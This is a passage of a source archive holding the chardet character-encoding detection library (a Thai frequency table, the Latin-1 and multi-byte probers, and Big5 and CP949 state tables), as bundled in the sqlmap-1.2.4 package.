3,1,2,3,0,3,3,2,2,1,2,3,3,1,2,0,1,3,0,1,0,0,1,0,0,0,0,0,0,0,1,1, 3,3,2,2,3,3,3,3,1,2,3,3,3,3,3,2,2,2,2,3,3,2,2,3,3,2,2,3,2,3,2,2, 3,3,1,2,3,1,2,2,3,3,1,0,2,1,0,0,3,1,2,1,0,0,1,0,0,0,0,0,0,1,0,1, 3,3,3,3,3,3,2,2,3,3,3,3,2,3,2,2,3,3,2,2,3,2,2,2,2,1,1,3,1,2,1,1, 3,2,1,0,2,1,0,1,0,1,1,0,1,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0, 3,3,3,2,3,2,3,3,2,2,3,2,3,3,2,3,1,1,2,3,2,2,2,3,2,2,2,2,2,1,2,1, 2,2,1,1,3,3,2,1,0,1,2,2,0,1,3,0,0,0,1,1,0,0,0,0,0,2,3,0,0,2,1,1, 3,3,2,3,3,2,0,0,3,3,0,3,3,0,2,2,3,1,2,2,1,1,1,0,2,2,2,0,2,2,1,1, 0,2,1,0,2,0,0,2,0,1,0,0,1,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0, 3,3,2,3,3,2,0,0,3,3,0,2,3,0,2,1,2,2,2,2,1,2,0,0,2,2,2,0,2,2,1,1, 0,2,1,0,2,0,0,2,0,1,1,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0, 3,3,2,3,2,3,2,0,2,2,1,3,2,1,3,2,1,2,3,2,2,3,0,2,3,2,2,1,2,2,2,2, 1,2,2,0,0,0,0,2,0,1,2,0,1,1,1,0,1,0,3,1,1,0,0,0,0,0,0,0,0,0,1,0, 3,3,2,3,3,2,3,2,2,2,3,2,2,3,2,2,1,2,3,2,2,3,1,3,2,2,2,3,2,2,2,3, 3,2,1,3,0,1,1,1,0,2,1,1,1,1,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,2,0,0, 1,0,0,3,0,3,3,3,3,3,0,0,3,0,2,2,3,3,3,3,3,0,0,0,1,1,3,0,0,0,0,2, 0,0,1,0,0,0,0,0,0,0,2,3,0,0,0,3,0,2,0,0,0,0,0,3,0,0,0,0,0,0,0,0, 2,0,3,3,3,3,0,0,2,3,0,0,3,0,3,3,2,3,3,3,3,3,0,0,3,3,3,0,0,0,3,3, 0,0,3,0,0,0,0,2,0,0,2,1,1,3,0,0,1,0,0,2,3,0,1,0,0,0,0,0,0,0,1,0, 3,3,3,3,2,3,3,3,3,3,3,3,1,2,1,3,3,2,2,1,2,2,2,3,1,1,2,0,2,1,2,1, 2,2,1,0,0,0,1,1,0,1,0,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0, 3,0,2,1,2,3,3,3,0,2,0,2,2,0,2,1,3,2,2,1,2,1,0,0,2,2,1,0,2,1,2,2, 0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,3,3,3,2,1,3,3,1,1,3,0,2,3,1,1,3,2,1,1,2,0,2,2,3,2,1,1,1,1,1,2, 3,0,0,1,3,1,2,1,2,0,3,0,0,0,1,0,3,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0, 3,3,1,1,3,2,3,3,3,1,3,2,1,3,2,1,3,2,2,2,2,1,3,3,1,2,1,3,1,2,3,0, 2,1,1,3,2,2,2,1,2,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2, 3,3,2,3,2,3,3,2,3,2,3,2,3,3,2,1,0,3,2,2,2,1,2,2,2,1,2,2,1,2,1,1, 2,2,2,3,0,1,3,1,1,1,1,0,1,1,0,2,1,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,3,3,3,2,3,2,2,1,1,3,2,3,2,3,2,0,3,2,2,1,2,0,2,2,2,1,2,2,2,2,1, 3,2,1,2,2,1,0,2,0,1,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1, 3,3,3,3,3,2,3,1,2,3,3,2,2,3,0,1,1,2,0,3,3,2,2,3,0,1,1,3,0,0,0,0, 3,1,0,3,3,0,2,0,2,1,0,0,3,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,3,3,2,3,2,3,3,0,1,3,1,1,2,1,2,1,1,3,1,1,0,2,3,1,1,1,1,1,1,1,1, 3,1,1,2,2,2,2,1,1,1,0,0,2,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1, 3,2,2,1,1,2,1,3,3,2,3,2,2,3,2,2,3,1,2,2,1,2,0,3,2,1,2,2,2,2,2,1, 3,2,1,2,2,2,1,1,1,1,0,0,1,1,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,3,3,3,3,3,3,3,1,3,3,0,2,1,0,3,2,0,0,3,1,0,1,1,0,1,0,0,0,0,0,1, 1,0,0,1,0,3,2,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,0,2,2,2,3,0,0,1,3,0,3,2,0,3,2,2,3,3,3,3,3,1,0,2,2,2,0,2,2,1,2, 0,2,3,0,0,0,0,1,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1, 3,0,2,3,1,3,3,2,3,3,0,3,3,0,3,2,2,3,2,3,3,3,0,0,2,2,3,0,1,1,1,3, 0,0,3,0,0,0,2,2,0,1,3,0,1,2,2,2,3,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1, 3,2,3,3,2,0,3,3,2,2,3,1,3,2,1,3,2,0,1,2,2,0,2,3,2,1,0,3,0,0,0,0, 3,0,0,2,3,1,3,0,0,3,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,1,3,2,2,2,1,2,0,1,3,1,1,3,1,3,0,0,2,1,1,1,1,2,1,1,1,0,2,1,0,1, 1,2,0,0,0,3,1,1,0,0,0,0,1,0,1,0,0,1,0,1,0,0,0,0,0,3,1,0,0,0,1,0, 3,3,3,3,2,2,2,2,2,1,3,1,1,1,2,0,1,1,2,1,2,1,3,2,0,0,3,1,1,1,1,1, 3,1,0,2,3,0,0,0,3,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,2,3,0,3,3,0,2,0,0,0,0,0,0,0,3,0,0,1,0,0,0,0,0,0,0,0,0,0,0, 0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,2,3,1,3,0,0,1,2,0,0,2,0,3,3,2,3,3,3,2,3,0,0,2,2,2,0,0,0,2,2, 0,0,1,0,0,0,0,3,0,0,0,0,2,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0, 0,0,0,3,0,2,0,0,0,0,0,0,0,0,0,0,1,2,3,1,3,3,0,0,1,0,3,0,0,0,0,0, 0,0,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,3,1,2,3,1,2,3,1,0,3,0,2,2,1,0,2,1,1,2,0,1,0,0,1,1,1,1,0,1,0,0, 1,0,0,0,0,1,1,0,3,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,3,3,3,2,1,0,1,1,1,3,1,2,2,2,2,2,2,1,1,1,1,0,3,1,0,1,3,1,1,1,1, 1,1,0,2,0,1,3,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,2,0,1, 3,0,2,2,1,3,3,2,3,3,0,1,1,0,2,2,1,2,1,3,3,1,0,0,3,2,0,0,0,0,2,1, 0,1,0,0,0,0,1,2,0,1,1,3,1,1,2,2,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0, 0,0,3,0,0,1,0,0,0,3,0,0,3,0,3,1,0,1,1,1,3,2,0,0,0,3,0,0,0,0,2,0, 0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,2,0,0,0,0,0,0,0,0,0, 3,3,1,3,2,1,3,3,1,2,2,0,1,2,1,0,1,2,0,0,0,0,0,3,0,0,0,3,0,0,0,0, 3,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,0,1,2,0,3,3,3,2,2,0,1,1,0,1,3,0,0,0,2,2,0,0,0,0,3,1,0,1,0,0,0, 0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,0,2,3,1,2,0,0,2,1,0,3,1,0,1,2,0,1,1,1,1,3,0,0,3,1,1,0,2,2,1,1, 0,2,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,0,0,3,1,2,0,0,2,2,0,1,2,0,1,0,1,3,1,2,1,0,0,0,2,0,3,0,0,0,1,0, 0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,0,1,1,2,2,0,0,0,2,0,2,1,0,1,1,0,1,1,1,2,1,0,0,1,1,1,0,2,1,1,1, 0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1, 0,0,0,2,0,1,3,1,1,1,1,0,0,0,0,3,2,0,1,0,0,0,1,2,0,0,0,1,0,0,0,0, 0,0,0,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,3,3,3,3,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 1,0,2,3,2,2,0,0,0,1,0,0,0,0,2,3,2,1,2,2,3,0,0,0,2,3,1,0,0,0,1,1, 0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0, 3,3,2,2,0,1,0,0,0,0,2,0,2,0,1,0,0,0,1,1,0,0,0,2,1,0,1,0,1,1,0,0, 0,1,0,2,0,0,1,0,3,0,1,0,0,0,2,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,3,1,0,0,1,0,0,0,0,0,1,1,2,0,0,0,0,1,0,0,1,3,1,0,0,0,0,1,1,0,0, 0,1,0,0,0,0,3,0,0,0,0,0,0,3,0,0,0,0,0,0,0,3,0,0,0,0,0,0,0,0,0,0, 3,3,1,1,1,1,2,3,0,0,2,1,1,1,1,1,0,2,1,1,0,0,0,2,1,0,1,2,1,1,0,1, 2,1,0,3,0,0,0,0,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 1,3,1,0,0,0,0,0,0,0,3,0,0,0,3,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1, 0,0,0,2,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,3,2,0,0,0,0,0,0,1,2,1,0,1,1,0,2,0,0,1,0,0,2,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,2,0,0,0,1,3,0,1,0,0,0,2,0,0,0,0,0,0,0,1,2,0,0,0,0,0, 3,3,0,0,1,1,2,0,0,1,2,1,0,1,1,1,0,1,1,0,0,2,1,1,0,1,0,0,1,1,1,0, 0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,3,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0, 2,2,2,1,0,0,0,0,1,0,0,0,0,3,0,0,0,0,0,0,0,0,0,3,0,0,0,0,0,0,0,0, 2,0,0,0,0,0,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 2,3,0,0,1,1,0,0,0,2,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 1,1,0,1,2,0,1,2,0,0,1,1,0,2,0,1,0,0,1,0,0,0,0,1,0,0,0,2,0,0,0,0, 1,0,0,1,0,1,1,0,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,1,0,0,0,0,0,0,0,1,1,0,1,1,0,2,1,3,0,0,0,0,1,1,0,0,0,0,0,0,0,3, 1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 2,0,1,0,1,0,0,2,0,0,2,0,0,1,1,2,0,0,1,1,0,0,0,1,0,0,0,1,1,0,0,0, 1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0, 1,0,0,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,1,1,0,0,0, 2,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,3,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 2,0,0,0,0,2,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,3,0,0,0, 2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,1,0,0,0,0, 1,0,0,0,0,0,0,0,0,1,0,0,0,0,2,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,1,1,0,0,2,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, ) TIS620ThaiModel = { 'charToOrderMap': TIS620CharToOrderMap, 'precedenceMatrix': ThaiLangModel, 'mTypicalPositiveRatio': 0.926386, 'keepEnglishLetter': False, 'charsetName': "TIS-620" } # flake8: noqa sqlmap-1.2.4/thirdparty/chardet/latin1prober.py000066400000000000000000000121601326012263700215750ustar00rootroot00000000000000######################## BEGIN LICENSE BLOCK ######################## # The Original Code is Mozilla Universal charset detector code. # # The Initial Developer of the Original Code is # Netscape Communications Corporation. # Portions created by the Initial Developer are Copyright (C) 2001 # the Initial Developer. All Rights Reserved. # # Contributor(s): # Mark Pilgrim - port to Python # Shy Shalom - original C code # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### from .charsetprober import CharSetProber from .constants import eNotMe from .compat import wrap_ord FREQ_CAT_NUM = 4 UDF = 0 # undefined OTH = 1 # other ASC = 2 # ascii capital letter ASS = 3 # ascii small letter ACV = 4 # accent capital vowel ACO = 5 # accent capital other ASV = 6 # accent small vowel ASO = 7 # accent small other CLASS_NUM = 8 # total classes Latin1_CharToClass = ( OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # 00 - 07 OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # 08 - 0F OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # 10 - 17 OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # 18 - 1F OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # 20 - 27 OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # 28 - 2F OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # 30 - 37 OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # 38 - 3F OTH, ASC, ASC, ASC, ASC, ASC, ASC, ASC, # 40 - 47 ASC, ASC, ASC, ASC, ASC, ASC, ASC, ASC, # 48 - 4F ASC, ASC, ASC, ASC, ASC, ASC, ASC, ASC, # 50 - 57 ASC, ASC, ASC, OTH, OTH, OTH, OTH, OTH, # 58 - 5F OTH, ASS, ASS, ASS, ASS, ASS, ASS, ASS, # 60 - 67 ASS, ASS, ASS, ASS, ASS, ASS, ASS, ASS, # 68 - 6F ASS, ASS, ASS, ASS, ASS, ASS, ASS, ASS, # 70 - 77 ASS, ASS, ASS, OTH, OTH, OTH, OTH, OTH, # 78 - 7F OTH, UDF, OTH, ASO, OTH, OTH, OTH, OTH, # 80 - 87 OTH, OTH, ACO, OTH, ACO, UDF, ACO, UDF, # 88 - 8F UDF, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # 90 - 97 OTH, OTH, ASO, OTH, ASO, UDF, ASO, ACO, # 98 - 9F OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # A0 - A7 OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # A8 - AF OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # B0 - B7 OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # B8 - BF ACV, ACV, ACV, ACV, ACV, ACV, ACO, ACO, # C0 - C7 ACV, ACV, ACV, ACV, ACV, ACV, ACV, ACV, # C8 - CF ACO, ACO, ACV, ACV, ACV, ACV, ACV, OTH, # D0 - D7 ACV, ACV, ACV, ACV, ACV, ACO, ACO, ACO, # D8 - DF ASV, ASV, ASV, ASV, ASV, ASV, ASO, ASO, # E0 - E7 ASV, ASV, ASV, ASV, ASV, ASV, ASV, ASV, # E8 - EF ASO, ASO, ASV, ASV, ASV, ASV, ASV, OTH, # F0 - F7 ASV, ASV, ASV, ASV, ASV, ASO, ASO, ASO, # F8 - FF ) # 0 : illegal # 1 : very unlikely # 2 : normal # 3 : very likely Latin1ClassModel = ( # UDF OTH ASC ASS ACV ACO ASV ASO 0, 0, 0, 0, 0, 0, 0, 0, # UDF 0, 3, 3, 3, 3, 3, 3, 3, # OTH 0, 3, 3, 3, 3, 3, 3, 3, # ASC 0, 3, 3, 3, 1, 1, 3, 3, # ASS 0, 3, 3, 3, 1, 2, 1, 2, # ACV 0, 3, 3, 3, 3, 3, 3, 3, # ACO 0, 3, 1, 3, 1, 1, 1, 3, # ASV 0, 3, 1, 3, 1, 1, 3, 3, # ASO ) class Latin1Prober(CharSetProber): def __init__(self): CharSetProber.__init__(self) self.reset() def reset(self): self._mLastCharClass = OTH self._mFreqCounter = [0] * FREQ_CAT_NUM CharSetProber.reset(self) def get_charset_name(self): return "windows-1252" def feed(self, aBuf): aBuf = self.filter_with_english_letters(aBuf) for c in aBuf: charClass = Latin1_CharToClass[wrap_ord(c)] freq = Latin1ClassModel[(self._mLastCharClass * CLASS_NUM) + charClass] if freq == 0: self._mState = eNotMe break self._mFreqCounter[freq] += 1 self._mLastCharClass = charClass return self.get_state() def get_confidence(self): if self.get_state() == eNotMe: return 0.01 total = sum(self._mFreqCounter) if total < 0.01: confidence = 0.0 else: confidence = ((self._mFreqCounter[3] - self._mFreqCounter[1] * 20.0) / total) if confidence < 0.0: confidence = 0.0 # lower the confidence of latin1 so that other more accurate # detector can take priority. confidence = confidence * 0.73 return confidence sqlmap-1.2.4/thirdparty/chardet/mbcharsetprober.py000066400000000000000000000063051326012263700223610ustar00rootroot00000000000000######################## BEGIN LICENSE BLOCK ######################## # The Original Code is Mozilla Universal charset detector code. # # The Initial Developer of the Original Code is # Netscape Communications Corporation. # Portions created by the Initial Developer are Copyright (C) 2001 # the Initial Developer. All Rights Reserved. # # Contributor(s): # Mark Pilgrim - port to Python # Shy Shalom - original C code # Proofpoint, Inc. # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### import sys from . import constants from .charsetprober import CharSetProber class MultiByteCharSetProber(CharSetProber): def __init__(self): CharSetProber.__init__(self) self._mDistributionAnalyzer = None self._mCodingSM = None self._mLastChar = [0, 0] def reset(self): CharSetProber.reset(self) if self._mCodingSM: self._mCodingSM.reset() if self._mDistributionAnalyzer: self._mDistributionAnalyzer.reset() self._mLastChar = [0, 0] def get_charset_name(self): pass def feed(self, aBuf): aLen = len(aBuf) for i in xrange(0, aLen): codingState = self._mCodingSM.next_state(aBuf[i]) if codingState == constants.eError: if constants._debug: sys.stderr.write(self.get_charset_name() + ' prober hit error at byte ' + str(i) + '\n') self._mState = constants.eNotMe break elif codingState == constants.eItsMe: self._mState = constants.eFoundIt break elif codingState == constants.eStart: charLen = self._mCodingSM.get_current_charlen() if i == 0: self._mLastChar[1] = aBuf[0] self._mDistributionAnalyzer.feed(self._mLastChar, charLen) else: self._mDistributionAnalyzer.feed(aBuf[i - 1:i + 1], charLen) self._mLastChar[0] = aBuf[aLen - 1] if self.get_state() == constants.eDetecting: if (self._mDistributionAnalyzer.got_enough_data() and (self.get_confidence() > constants.SHORTCUT_THRESHOLD)): self._mState = constants.eFoundIt return self.get_state() def get_confidence(self): return self._mDistributionAnalyzer.get_confidence() sqlmap-1.2.4/thirdparty/chardet/mbcsgroupprober.py000066400000000000000000000036571326012263700224210ustar00rootroot00000000000000######################## BEGIN LICENSE BLOCK ######################## # The Original Code is Mozilla Universal charset detector code. # # The Initial Developer of the Original Code is # Netscape Communications Corporation. # Portions created by the Initial Developer are Copyright (C) 2001 # the Initial Developer. All Rights Reserved. # # Contributor(s): # Mark Pilgrim - port to Python # Shy Shalom - original C code # Proofpoint, Inc. # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### from .charsetgroupprober import CharSetGroupProber from .utf8prober import UTF8Prober from .sjisprober import SJISProber from .eucjpprober import EUCJPProber from .gb2312prober import GB2312Prober from .euckrprober import EUCKRProber from .cp949prober import CP949Prober from .big5prober import Big5Prober from .euctwprober import EUCTWProber class MBCSGroupProber(CharSetGroupProber): def __init__(self): CharSetGroupProber.__init__(self) self._mProbers = [ UTF8Prober(), SJISProber(), EUCJPProber(), GB2312Prober(), EUCKRProber(), CP949Prober(), Big5Prober(), EUCTWProber() ] self.reset() sqlmap-1.2.4/thirdparty/chardet/mbcssm.py000066400000000000000000000462061326012263700204670ustar00rootroot00000000000000######################## BEGIN LICENSE BLOCK ######################## # The Original Code is mozilla.org code. # # The Initial Developer of the Original Code is # Netscape Communications Corporation. # Portions created by the Initial Developer are Copyright (C) 1998 # the Initial Developer. All Rights Reserved. # # Contributor(s): # Mark Pilgrim - port to Python # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### from .constants import eStart, eError, eItsMe # BIG5 BIG5_cls = ( 1,1,1,1,1,1,1,1, # 00 - 07 #allow 0x00 as legal value 1,1,1,1,1,1,0,0, # 08 - 0f 1,1,1,1,1,1,1,1, # 10 - 17 1,1,1,0,1,1,1,1, # 18 - 1f 1,1,1,1,1,1,1,1, # 20 - 27 1,1,1,1,1,1,1,1, # 28 - 2f 1,1,1,1,1,1,1,1, # 30 - 37 1,1,1,1,1,1,1,1, # 38 - 3f 2,2,2,2,2,2,2,2, # 40 - 47 2,2,2,2,2,2,2,2, # 48 - 4f 2,2,2,2,2,2,2,2, # 50 - 57 2,2,2,2,2,2,2,2, # 58 - 5f 2,2,2,2,2,2,2,2, # 60 - 67 2,2,2,2,2,2,2,2, # 68 - 6f 2,2,2,2,2,2,2,2, # 70 - 77 2,2,2,2,2,2,2,1, # 78 - 7f 4,4,4,4,4,4,4,4, # 80 - 87 4,4,4,4,4,4,4,4, # 88 - 8f 4,4,4,4,4,4,4,4, # 90 - 97 4,4,4,4,4,4,4,4, # 98 - 9f 4,3,3,3,3,3,3,3, # a0 - a7 3,3,3,3,3,3,3,3, # a8 - af 3,3,3,3,3,3,3,3, # b0 - b7 3,3,3,3,3,3,3,3, # b8 - bf 3,3,3,3,3,3,3,3, # c0 - c7 3,3,3,3,3,3,3,3, # c8 - cf 3,3,3,3,3,3,3,3, # d0 - d7 3,3,3,3,3,3,3,3, # d8 - df 3,3,3,3,3,3,3,3, # e0 - e7 3,3,3,3,3,3,3,3, # e8 - ef 3,3,3,3,3,3,3,3, # f0 - f7 3,3,3,3,3,3,3,0 # f8 - ff ) BIG5_st = ( eError,eStart,eStart, 3,eError,eError,eError,eError,#00-07 eError,eError,eItsMe,eItsMe,eItsMe,eItsMe,eItsMe,eError,#08-0f eError,eStart,eStart,eStart,eStart,eStart,eStart,eStart#10-17 ) Big5CharLenTable = (0, 1, 1, 2, 0) Big5SMModel = {'classTable': BIG5_cls, 'classFactor': 5, 'stateTable': BIG5_st, 'charLenTable': Big5CharLenTable, 'name': 'Big5'} # CP949 CP949_cls = ( 1,1,1,1,1,1,1,1, 1,1,1,1,1,1,0,0, # 00 - 0f 1,1,1,1,1,1,1,1, 1,1,1,0,1,1,1,1, # 10 - 1f 1,1,1,1,1,1,1,1, 1,1,1,1,1,1,1,1, # 20 - 2f 1,1,1,1,1,1,1,1, 1,1,1,1,1,1,1,1, # 30 - 3f 1,4,4,4,4,4,4,4, 4,4,4,4,4,4,4,4, # 40 - 4f 4,4,5,5,5,5,5,5, 5,5,5,1,1,1,1,1, # 50 - 5f 1,5,5,5,5,5,5,5, 5,5,5,5,5,5,5,5, # 60 - 6f 5,5,5,5,5,5,5,5, 5,5,5,1,1,1,1,1, # 70 - 7f 0,6,6,6,6,6,6,6, 6,6,6,6,6,6,6,6, # 80 - 8f 6,6,6,6,6,6,6,6, 6,6,6,6,6,6,6,6, # 90 - 9f 6,7,7,7,7,7,7,7, 7,7,7,7,7,8,8,8, # a0 - af 7,7,7,7,7,7,7,7, 7,7,7,7,7,7,7,7, # b0 - bf 7,7,7,7,7,7,9,2, 2,3,2,2,2,2,2,2, # c0 - cf 2,2,2,2,2,2,2,2, 2,2,2,2,2,2,2,2, # d0 - df 2,2,2,2,2,2,2,2, 2,2,2,2,2,2,2,2, # e0 - ef 2,2,2,2,2,2,2,2, 2,2,2,2,2,2,2,0, # f0 - ff ) CP949_st = ( #cls= 0 1 2 3 4 5 6 7 8 9 # previous state = eError,eStart, 3,eError,eStart,eStart, 4, 5,eError, 6, # eStart eError,eError,eError,eError,eError,eError,eError,eError,eError,eError, # eError 